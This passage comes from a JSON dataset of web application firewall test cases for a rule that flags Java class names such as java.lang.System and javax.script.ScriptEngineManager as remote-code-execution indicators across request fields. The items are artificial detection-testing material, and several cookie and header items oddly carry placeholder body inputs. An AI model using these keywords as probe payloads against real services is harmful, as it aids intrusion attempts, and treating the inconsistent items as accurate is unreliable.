java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.StringBuilder\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.StringBuilder</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.StringBuilder</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.StringBuilder" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.StringBuilder\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.StringBuilder\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.StringBuilder" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.System" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "java.lang.System=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"java.lang.System\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">java.lang.System</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">java.lang.System</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=java.lang.System" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"java.lang.System\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"java.lang.System\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword java.lang.System" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=javax.script.ScriptEngineManager" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument test includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "javax.script.ScriptEngineManager=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Argument name includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie test includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Cookie name includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Request header test includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"javax.script.ScriptEngineManager\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML attribute value includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">javax.script.ScriptEngineManager</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "XML element value includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">javax.script.ScriptEngineManager</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Nested XML element value includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=javax.script.ScriptEngineManager" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type text/plain includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"javax.script.ScriptEngineManager\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg value includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"javax.script.ScriptEngineManager\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944130", "test_description": "Content-Type application/json arg name includes keyword javax.script.ScriptEngineManager" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=org.apache.commons" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "java-classes.data", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" 